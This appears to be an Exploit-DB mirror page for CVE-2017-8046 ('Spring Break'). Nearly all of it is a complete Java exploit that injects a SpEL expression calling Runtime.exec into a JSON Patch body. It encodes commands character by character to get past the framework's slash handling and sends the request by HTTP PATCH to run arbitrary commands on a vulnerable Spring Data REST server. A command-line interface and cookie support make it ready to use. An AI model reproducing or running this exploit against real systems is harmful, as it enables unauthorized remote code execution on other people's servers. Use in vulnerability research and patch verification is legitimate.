Spring Data REST < 2.6.9 (Ingalls SR9) / 3.0.1 (Kay SR1) - PATCH Request Remote Code Execution

  • 作者： Antonio Francesco Sardella
    日期： 2018-03-15
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/44289/
  • // Exploit Title: RCE in PATCH requests in Spring Data REST
// Date: 2018-03-10
// Exploit Author: Antonio Francesco Sardella
// Vendor Homepage: https://pivotal.io/
// Software Link: https://projects.spring.io/spring-data-rest/
// Version: Spring Data REST versions prior to 2.6.9 (Ingalls SR9), 3.0.1 (Kay SR1)
// Tested on: 'Microsoft Windows 7' and 'Xubuntu 17.10.1' with 'spring-boot-starter-data-rest' version '1.5.6.RELEASE'
// CVE: CVE-2017-8046
// Category: Webapps
// Repository: https://github.com/m3ssap0/spring-break_cve-2017-8046
// Example Vulnerable Application: https://github.com/m3ssap0/SpringBreakVulnerableApp
// Vulnerability discovered and reported by: Man Yue Mo from Semmle and lgtm.com

package com.afs.exploit.spring;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URI;
import java.net.URISyntaxException;

import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPatch;
import org.apache.http.entity.StringEntity;
import org.apache.http.impl.client.HttpClientBuilder;

/**
 * This is a Java program that exploits Spring Break vulnerability (CVE-2017-8046).
 * This software is written to have as less external dependencies as possible.
 * DISCLAIMER: This tool is intended for security engineers and appsec guys for security assessments. Please
 * use this tool responsibly. I do not take responsibility for the way in which any one uses this application.
 * I am NOT responsible for any damages caused or any crimes committed by using this tool.
 * ..................
 * . CVE-ID ........: CVE-2017-8046
 * . Link ..........: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
 * . Description ...: Malicious PATCH requests submitted to spring-data-rest servers in Pivotal Spring Data REST
 * .................. versions prior to 2.5.12, 2.6.7, 3.0 RC3, Spring Boot versions prior to 2.0.0M4, and Spring
 * .................. Data release trains prior to Kay-RC3 can use specially crafted JSON data to run arbitrary
 * .................. Java code.
 * ..................
 * 
 * @author Antonio Francesco Sardella
 */
public class SpringBreakCve20178046 {

/**
 * Version string.
 */
private static final String VERSION = "v1.0 (2018-03-10)";

/**
 * The JSON Patch object.
 */
private static String JSON_PATCH_OBJECT = "[{ \"op\" : \"replace\", \"path\" : \"%s\", \"value\" : \"pwned\" }]";

/**
 * This is a way to bypass the split and 'replace'
 * logic performed by the framework on slashes.
 */
private static String SLASH = "T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))";

/**
 * Used to encode chars.
 */
private static String CHAR_ENCODING = "T(java.lang.Character).toChars(%d)[0]";

/**
 * Malicious payload.
 */
private static String PAYLOAD;

/**
 * Malicious payload initialization.
 */
static {
PAYLOAD = "T(org.springframework.util.StreamUtils).copy(";
PAYLOAD += "T(java.lang.Runtime).getRuntime().exec(";
PAYLOAD += "(";
PAYLOAD += "T(java.lang.System).getProperty(\\\"os.name\\\").toLowerCase().contains(\\\"win\\\")";
PAYLOAD += "?";
PAYLOAD += "\\\"cmd \\\"+" + SLASH + "+\\\"c \\\"";
PAYLOAD += ":";
PAYLOAD += "\\\"\\\"";
PAYLOAD += ")+";
PAYLOAD += "%s"; // The encoded command will be placed here.
PAYLOAD += ").getInputStream()";
PAYLOAD += ",";
PAYLOAD += "T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes()";
PAYLOAD += ".getResponse().getOutputStream()";
PAYLOAD += ").x";
}

/**
 * Error cause string that can be used to "clean the response."
 */
private static String ERROR_CAUSE = "{\"cause";

/**
 * The target URL.
 */
private URI url;

/**
 * The command that will be executed on the remote machine.
 */
private String command;

/**
 * Cookies that will be passed.
 */
private String cookies;

/**
 * Flag used to remove error messages in output due to
 * the usage of the exploit. It could hide error messages
 * if the request fails for other reasons.
 */
private boolean cleanResponse;

/**
 * Verbosity flag.
 */
private boolean verbose;

/**
 * Default constructor.
 */
public SpringBreakCve20178046() {
this.verbose = false;
this.cleanResponse = false;
}

/**
 * Performs the exploit.
 * 
 * @throws IOException
 * If something bad occurs during HTTP GET.
 */
public void exploit() throws IOException {
checkInput();
printInput();
String payload = preparePayload();
String response = httpPatch(payload);
printOutput(response);
}

/**
 * Checks the input.
 */
private void checkInput() {
if (this.url == null) {
throw new IllegalArgumentException("URL must be passed.");
}

if (isEmpty(this.command)) {
throw new IllegalArgumentException("Command must be passed.");
}
}

/**
 * Prints input if verbose flag is true.
 */
private void printInput() {
if (isVerbose()) {
System.out.println("[*] Target URL ........: " + this.url);
System.out.println("[*] Command ...........: " + this.command);
System.out.println("[*] Cookies ...........: " + (isEmpty(this.cookies) ? "(no cookies)" : this.cookies));
}
}

/**
 * Prepares the payload.
 * 
 * @return The malicious payload that will be injected.
 */
private String preparePayload() {
System.out.println("[*] Preparing payload.");

String command = encodingCommand(); // Encoding inserted command.
String payload = String.format(PAYLOAD, command); // Preparing Java payload.
payload = String.format(JSON_PATCH_OBJECT, payload); // Placing payload into JSON Patch object.

if (isVerbose()) {
System.out.println("[*] Payload ...........: " + payload);
}

return payload;
}

/**
 * Encodes the inserted command.
 * PROS: No problems in interpreting things.
 * CONS: Payload too long.
 * 
 * @return The encoded command.
 */
private String encodingCommand() {
StringBuffer encodedCommand = new StringBuffer("T(java.lang.String).valueOf(new char[]{");

int commandLength = this.command.length();
for (int i = 0; i < commandLength; i++) {
encodedCommand.append(String.format(CHAR_ENCODING, (int) this.command.charAt(i)));
if (i + 1 < commandLength) {
encodedCommand.append(",");
}
}

encodedCommand.append("})");

if (isVerbose()) {
System.out.println("[*] Encoded command ...: " + encodedCommand.toString());
}

return encodedCommand.toString();
}

/**
 * HTTP PATCH operation on the target passing the malicious payload.
 * 
 * @param payload
 *The malicious payload.
 * @return The response as a string.
 * @throws IOException
 * If something bad occurs during HTTP GET.
 */
private String httpPatch(String payload) throws IOException {
System.out.println("[*] Sending payload.");

// Preparing PATCH operation.
HttpClient client = HttpClientBuilder.create().build();
HttpPatch patch = new HttpPatch(this.url);
patch.setHeader("User-Agent", "Mozilla/5.0");
patch.setHeader("Accept-Language", "en-US,en;q=0.5");
patch.setHeader("Content-Type", "application/json-patch+json"); // This is a JSON Patch.
if (!isEmpty(this.cookies)) {
patch.setHeader("Cookie", this.cookies);
}
patch.setEntity(new StringEntity(payload));

// Response string.
StringBuffer response = new StringBuffer();

// Executing PATCH operation.
HttpResponse httpResponse = client.execute(patch);
if (httpResponse != null) {

// Reading response code.
if (httpResponse.getStatusLine() != null) {
int responseCode = httpResponse.getStatusLine().getStatusCode();
System.out.println("[*] HTTP " + responseCode);
} else {
System.out.println("[!] HTTP response code can't be read.");
}

// Reading response content.
if (httpResponse.getEntity() != null && httpResponse.getEntity().getContent() != null) {
BufferedReader in = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
String inputLine;

while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
response.append(System.getProperty("line.separator"));
}
in.close();
} else {
System.out.println("[!] HTTP response content can't be read.");
}

} else {
System.out.println("[!] HTTP response is null.");
}

return response.toString();
}

/**
 * Prints output.
 * 
 * @param response
 *Response that will be printed.
 */
private void printOutput(String response) {
if (!isEmpty(response)) {
System.out.println("[*] vvv Response vvv");

// Cleaning response (if possible).
if (isCleanResponse() && response.contains(ERROR_CAUSE)) {
String cleanedResponse = response.split("\\" + ERROR_CAUSE)[0];
System.out.println(cleanedResponse);
} else {
System.out.println(response);
}

System.out.println("[*] ^^^ ======== ^^^");
}
}

/**
 * Checks if an input string is null/empty or not.
 * 
 * @param input
 *The input string to check.
 * @return True if the string is null or empty, false otherwise.
 */
private boolean isEmpty(String input) {
boolean isEmpty;

if (input == null || input.trim().length() < 1) {
isEmpty = true;
} else {
isEmpty = false;
}

return isEmpty;
}

/* Getters and setters. */

public boolean isVerbose() {
return verbose;
}

public void setVerbose(boolean verbose) {
this.verbose = verbose;
}

public void setUrl(String url) throws URISyntaxException {
if (isEmpty(url)) {
throw new IllegalArgumentException("URL must be not null and not empty.");
}

this.url = new URI(url.trim());
}

public void setCommand(String command) {
if (isEmpty(command)) {
throw new IllegalArgumentException("Command must be not null and not empty.");
}

this.command = command.trim();
}

public void setCookies(String cookies) {
if (cookies != null) {
cookies = cookies.trim();
}

this.cookies = cookies;
}

public boolean isCleanResponse() {
return cleanResponse;
}

public void setCleanResponse(boolean cleanResponse) {
this.cleanResponse = cleanResponse;
}

/**
 * Shows the program help.
 */
public static final void help() {
System.out.println("Usage:");
System.out.println(" java -jar spring-break_cve-2017-8046.jar [options]");
System.out.println("Description:");
System.out.println(" Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).");
System.out.println("Options:");
System.out.println(" -h, --help");
System.out.println("Prints this help and exits.");
System.out.println(" -u, --url [target_URL]");
System.out.println("The target URL where the exploit will be performed.");
System.out.println("You have to choose an existent resource.");
System.out.println(" -cmd, --command [command_to_execute]");
System.out.println("The command that will be executed on the remote machine.");
System.out.println(" --cookies [cookies]");
System.out.println("Optional. Cookies passed into the request, e.g. authentication cookies.");
System.out.println(" --clean");
System.out.println("Optional. Removes error messages in output due to the usage of the");
System.out.println("exploit. It could hide error messages if the request fails for other reasons.");
System.out.println(" -v, --verbose");
System.out.println("Optional. Increase verbosity.");
}

/**
 * Main method.
 * 
 * @param args
 *Input arguments
 */
public static void main(String[] args) {
try {
System.out.println("'Spring Break' RCE (CVE-2017-8046) - " + VERSION);
SpringBreakCve20178046 o = new SpringBreakCve20178046();

if (args.length > 0) {
for (int i = 0; i < args.length; i++) {

String p = args[i];

if (("-h".equals(p) || "--help".equals(p)) && i == 0) {
SpringBreakCve20178046.help();
return;
} else if ("-u".equals(p) || "--url".equals(p)) {

if (i + 1 > args.length - 1) {
throw new IllegalArgumentException("URL must be passed.");
}
o.setUrl(args[++i]);

} else if ("-cmd".equals(p) || "--command".equals(p)) {

if (i + 1 > args.length - 1) {
throw new IllegalArgumentException("Command must be passed.");
}
o.setCommand(args[++i]);

} else if ("--cookies".equals(p)) {

if (i + 1 > args.length - 1) {
throw new IllegalArgumentException("Cookies must be passed, if specified.");
}
o.setCookies(args[++i]);

} else if ("--clean".equals(p)) {
o.setCleanResponse(true);
} else if ("-v".equals(p) || "--verbose".equals(p)) {
o.setVerbose(true);
}

}

// Performing the exploit.
o.exploit();

} else { // Wrong number of arguments.
SpringBreakCve20178046.help();
return;
}

} catch (URISyntaxException use) {
System.out.println("[!] Input error (URI syntax exception): " + use.getMessage());
} catch (IllegalArgumentException iae) {
System.out.println("[!] Input error (illegal argument): " + iae.getMessage());
} catch (Exception e) {
System.out.println("[!] Unexpected exception: " + e.getMessage());
e.printStackTrace();
}
}

}